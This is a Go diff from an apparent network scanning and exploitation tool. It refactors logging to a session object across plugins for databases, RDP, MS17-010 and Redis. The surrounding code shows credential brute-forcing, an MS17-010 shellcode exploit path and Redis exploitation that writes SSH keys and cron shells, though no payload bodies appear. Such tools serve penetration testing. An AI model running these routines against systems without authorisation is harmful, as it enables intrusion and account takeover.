@@ -35,7 +35,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s
|
||||
|
||||
// 首先检测未授权访问
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, session) {
|
||||
common.LogVuln(i18n.Tr("elasticsearch_unauth", target))
|
||||
session.LogVuln(i18n.Tr("elasticsearch_unauth", target))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
@@ -56,7 +56,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s
|
||||
|
||||
for _, cred := range credentials {
|
||||
if p.testCredential(ctx, info, cred, session) {
|
||||
common.LogVuln(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password))
|
||||
session.LogVuln(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
@@ -124,7 +124,7 @@ func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common.
|
||||
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, session) {
|
||||
banner := "Elasticsearch"
|
||||
common.LogSuccess(i18n.Tr("elasticsearch_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("elasticsearch_service", target, banner))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
|
||||
@@ -86,7 +86,7 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
// 一次性输出所有行
|
||||
if len(lines) > 0 {
|
||||
common.LogSuccess(strings.Join(lines, "\n"))
|
||||
session.LogSuccess(strings.Join(lines, "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
config := session.Config
|
||||
state := session.State
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
return p.identifyService(ctx, info, session)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
@@ -50,7 +50,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("kafka_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("kafka_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -229,7 +229,9 @@ func classifyKafkaErrorType(err error) ErrorType {
|
||||
|
||||
// ── 服务识别 ────────────────────────────────────────────────────
|
||||
|
||||
func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
state := session.State
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
@@ -255,7 +257,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
if p.isKafkaError(err) {
|
||||
banner := i18n.GetText("kafka_auth_required")
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner}
|
||||
}
|
||||
return &ScanResult{Success: false, Service: "kafka", Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Kafka"))}
|
||||
@@ -263,7 +265,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
banner := "Kafka"
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner}
|
||||
}
|
||||
|
||||
|
||||
@@ -55,7 +55,7 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("ldap_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("ldap_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -146,7 +146,7 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, ses
|
||||
if len(hash) > 16 {
|
||||
displayHash = hash[:16] + "..."
|
||||
}
|
||||
common.LogVuln(i18n.Tr("ldap_hash_credential", target, domain, user, displayHash))
|
||||
session.LogVuln(i18n.Tr("ldap_hash_credential", target, domain, user, displayHash))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
@@ -268,7 +268,7 @@ func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
banner := "LDAP"
|
||||
common.LogSuccess(i18n.Tr("ldap_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("ldap_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
|
||||
@@ -34,7 +34,7 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("memcached_unauth", target))
|
||||
session.LogVuln(i18n.Tr("memcached_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -128,7 +128,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host
|
||||
|
||||
if p.testBasicCommand(conn, session.Config) {
|
||||
banner := "Memcached"
|
||||
common.LogSuccess(i18n.Tr("memcached_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("memcached_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
|
||||
@@ -44,7 +44,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
if isUnauth {
|
||||
common.LogVuln(i18n.Tr("mongodb_unauth", target))
|
||||
session.LogVuln(i18n.Tr("mongodb_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
@@ -68,7 +68,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("mongodb_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("mongodb_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -375,11 +375,11 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
|
||||
}
|
||||
|
||||
if isUnauth {
|
||||
common.LogVuln(i18n.Tr("mongodb_unauth", target))
|
||||
session.LogVuln(i18n.Tr("mongodb_unauth", target))
|
||||
return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: i18n.GetText("unauthorized_access")}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("mongodb_auth_required", target))
|
||||
session.LogSuccess(i18n.Tr("mongodb_auth_required", target))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: i18n.GetText("auth_required")}
|
||||
}
|
||||
|
||||
|
||||
@@ -62,9 +62,9 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
if osVersion != "" {
|
||||
msg += fmt.Sprintf(" [%s]", osVersion)
|
||||
}
|
||||
common.LogVuln(msg)
|
||||
session.LogVuln(msg)
|
||||
if hasBackdoor {
|
||||
common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target))
|
||||
session.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target))
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
@@ -86,7 +86,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult {
|
||||
config := session.Config
|
||||
target := info.Target()
|
||||
common.LogSuccess(i18n.Tr("ms17010_start", target))
|
||||
session.LogSuccess(i18n.Tr("ms17010_start", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n")
|
||||
@@ -157,7 +157,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
||||
output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("ms17010_complete", target))
|
||||
session.LogSuccess(i18n.Tr("ms17010_complete", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
@@ -473,7 +473,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
|
||||
return fmt.Errorf("MS17-010 exp failed: %w", err)
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
|
||||
session.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
config := session.Config
|
||||
state := session.State
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
return p.identifyService(ctx, info, session)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
@@ -48,7 +48,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("mssql_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("mssql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -124,7 +124,9 @@ func classifyMSSQLErrorType(err error) ErrorType {
|
||||
return ClassifyError(err, mssqlAuthErrors, mssqlNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
state := session.State
|
||||
target := info.Target()
|
||||
|
||||
identifyCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
@@ -157,7 +159,7 @@ func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("mssql_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("mssql_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
|
||||
@@ -62,7 +62,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("mysql_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("mysql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -154,7 +154,7 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if banner := p.readMySQLBanner(conn, session.Config); banner != "" {
|
||||
common.LogSuccess(i18n.Tr("mysql_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("mysql_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
|
||||
@@ -35,7 +35,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("neo4j_unauth", target))
|
||||
session.LogVuln(i18n.Tr("neo4j_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -55,7 +55,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("neo4j_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("neo4j_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -246,7 +246,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("neo4j_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("neo4j_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
|
||||
@@ -76,7 +76,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
if netbiosInfo.Summary() != "" {
|
||||
msg += fmt.Sprintf(" %s", netbiosInfo.Summary())
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
session.LogSuccess(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
|
||||
@@ -32,8 +32,8 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("oracle_service", target, result.Banner))
|
||||
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||
session.LogSuccess(i18n.Tr("oracle_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -53,7 +53,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("oracle_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("oracle_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -133,7 +133,9 @@ func classifyOracleErrorType(err error) ErrorType {
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试Oracle未授权访问
|
||||
func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
state := session.State
|
||||
target := info.Target()
|
||||
|
||||
defaultAccounts := []Credential{
|
||||
@@ -148,7 +150,7 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
common.LogVuln(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password))
|
||||
session.LogVuln(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
@@ -177,7 +179,7 @@ func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInf
|
||||
_ = conn.Close()
|
||||
|
||||
banner := "Oracle"
|
||||
common.LogSuccess(i18n.Tr("oracle_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("oracle_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
|
||||
@@ -33,12 +33,12 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
return p.identifyService(ctx, info, session)
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("postgresql_vuln", target, result.VulInfo))
|
||||
session.LogVuln(i18n.Tr("postgresql_vuln", target, result.VulInfo))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -58,7 +58,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("postgresql_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("postgresql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -219,7 +219,9 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
|
||||
}
|
||||
}
|
||||
|
||||
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
state := session.State
|
||||
target := info.Target()
|
||||
|
||||
connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds()))
|
||||
@@ -267,7 +269,7 @@ func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.Hos
|
||||
banner = "PostgreSQL"
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("postgresql_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("postgresql_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
|
||||
@@ -38,7 +38,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
|
||||
// 先检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner))
|
||||
session.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -58,7 +58,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -236,7 +236,7 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host
|
||||
|
||||
if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) {
|
||||
banner := "RabbitMQ AMQP"
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
@@ -297,7 +297,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm
|
||||
}
|
||||
if strings.Contains(strings.ToLower(string(body)), "rabbitmq") {
|
||||
banner := "RabbitMQ Management"
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner))
|
||||
session.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
|
||||
@@ -56,7 +56,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
if !isSingleCredentialTest {
|
||||
osInfo = p.probeOSInfo(target, config, state)
|
||||
if len(osInfo) > 0 {
|
||||
p.logOSInfo(target, osInfo)
|
||||
p.logOSInfo(target, osInfo, session)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -68,11 +68,11 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
if osInfo == nil {
|
||||
osInfo = p.probeOSInfo(target, config, state)
|
||||
if len(osInfo) > 0 {
|
||||
p.logOSInfo(target, osInfo)
|
||||
p.logOSInfo(target, osInfo, session)
|
||||
}
|
||||
}
|
||||
banner := p.buildBanner(osInfo)
|
||||
common.LogSuccess(i18n.Tr("rdp_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("rdp_service", target, banner))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
@@ -126,7 +126,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("RDP %s %s\\%s %s", target, displayDomain, cred.Username, cred.Password)
|
||||
common.LogVuln(result)
|
||||
session.LogVuln(result)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
@@ -197,7 +197,7 @@ func (p *RDPPlugin) probeOSInfo(host string, config *common.Config, state *commo
|
||||
}
|
||||
|
||||
// logOSInfo 输出系统信息
|
||||
func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) {
|
||||
func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any, session *common.ScanSession) {
|
||||
var parts []string
|
||||
|
||||
// 提取关键信息
|
||||
@@ -235,7 +235,7 @@ func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) {
|
||||
|
||||
if len(parts) > 0 {
|
||||
info := fmt.Sprintf("RDP %s [%s]", target, strings.Join(parts, ", "))
|
||||
common.LogSuccess(info)
|
||||
session.LogSuccess(info)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+17
-17
@@ -42,7 +42,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
|
||||
// 首先检查未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
|
||||
session.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
|
||||
|
||||
// 如果需要利用,重新建立连接执行
|
||||
if p.shouldExploit(config) {
|
||||
@@ -63,7 +63,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
|
||||
// 如果成功,记录并执行利用
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet
|
||||
session.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet
|
||||
|
||||
// 如果需要利用,重新建立连接执行
|
||||
if p.shouldExploit(config) {
|
||||
@@ -225,7 +225,7 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host
|
||||
|
||||
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("redis_reconnect_failed", err))
|
||||
session.LogError(i18n.Tr("redis_reconnect_failed", err))
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
@@ -244,7 +244,7 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host
|
||||
}
|
||||
}
|
||||
|
||||
p.exploit(ctx, info, conn, password, session.Config)
|
||||
p.exploit(ctx, info, conn, password, session.Config, session)
|
||||
}
|
||||
|
||||
// identifyService 服务识别
|
||||
@@ -297,7 +297,7 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
banner = i18n.GetText("redis_service_plain")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
||||
session.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
@@ -321,7 +321,7 @@ func (p *RedisPlugin) shouldExploit(config *common.Config) bool {
|
||||
}
|
||||
|
||||
// exploit 执行Redis漏洞利用
|
||||
func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config) {
|
||||
func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config, session *common.ScanSession) {
|
||||
if config.Redis.Disabled {
|
||||
return
|
||||
}
|
||||
@@ -330,7 +330,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n
|
||||
|
||||
dbfilename, dir, err := p.getConfig(conn)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("redis_config_failed", err))
|
||||
session.LogError(i18n.Tr("redis_config_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
@@ -346,9 +346,9 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n
|
||||
fileName := path.Base(config.Redis.WritePath)
|
||||
|
||||
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil {
|
||||
common.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
session.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath))
|
||||
session.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -356,15 +356,15 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n
|
||||
if config.Redis.WritePath != "" && config.Redis.WriteFile != "" {
|
||||
fileContent, readErr := os.ReadFile(config.Redis.WriteFile)
|
||||
if readErr != nil {
|
||||
common.LogError(i18n.Tr("redis_read_failed", readErr))
|
||||
session.LogError(i18n.Tr("redis_read_failed", readErr))
|
||||
} else {
|
||||
dirPath := path.Dir(config.Redis.WritePath)
|
||||
fileName := path.Base(config.Redis.WritePath)
|
||||
|
||||
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil {
|
||||
common.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
session.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath))
|
||||
session.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath))
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -372,24 +372,24 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n
|
||||
// SSH密钥写入
|
||||
if config.Redis.File != "" {
|
||||
if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil {
|
||||
common.LogError(i18n.Tr("redis_ssh_key_failed", keyErr))
|
||||
session.LogError(i18n.Tr("redis_ssh_key_failed", keyErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.GetText("redis_ssh_key_success"))
|
||||
session.LogVuln(i18n.GetText("redis_ssh_key_success"))
|
||||
}
|
||||
}
|
||||
|
||||
// 定时任务写入
|
||||
if config.Redis.Shell != "" {
|
||||
if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil {
|
||||
common.LogError(i18n.Tr("redis_cron_failed", cronErr))
|
||||
session.LogError(i18n.Tr("redis_cron_failed", cronErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.GetText("redis_cron_success"))
|
||||
session.LogVuln(i18n.GetText("redis_cron_success"))
|
||||
}
|
||||
}
|
||||
|
||||
// 恢复配置
|
||||
if err = p.recoverDB(dbfilename, dir, conn); err != nil {
|
||||
common.LogError(i18n.Tr("redis_restore_failed", err))
|
||||
session.LogError(i18n.Tr("redis_restore_failed", err))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -40,7 +40,7 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner))
|
||||
session.LogSuccess(i18n.Tr("rsync_service", target, result.Banner))
|
||||
findings = append(findings, result.Banner)
|
||||
}
|
||||
|
||||
@@ -75,7 +75,7 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session *
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("rsync_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("rsync_credential", target, result.Username, result.Password))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -390,7 +390,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
